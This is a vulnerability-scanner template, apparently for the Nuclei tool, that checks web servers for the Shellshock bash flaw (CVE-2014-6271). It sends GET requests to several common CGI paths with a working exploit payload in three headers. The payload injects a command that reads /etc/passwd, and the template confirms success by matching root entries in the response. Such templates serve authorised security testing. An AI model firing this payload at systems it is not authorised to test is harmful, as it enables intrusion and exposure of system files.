id: CVE-2014-6271

info:
  name: Shellshock
  author: pentest_swissky
  severity: critical
  description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
  reference:
    - http://www.kb.cert.org/vuls/id/252743
    - http://www.us-cert.gov/ncas/alerts/TA14-268A
  tags: cve,cve2014,rce

  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2014-6271
    cwe-id: CWE-78
requests:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/cgi-bin/status"
      - "{{BaseURL}}/cgi-bin/stats"
      - "{{BaseURL}}/cgi-bin/test"
      - "{{BaseURL}}/cgi-bin/status/status.cgi"
      - "{{BaseURL}}/test.cgi"
      - "{{BaseURL}}/debug.cgi"
      - "{{BaseURL}}/cgi-bin/test-cgi"
    headers:
      Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
      Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
      Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body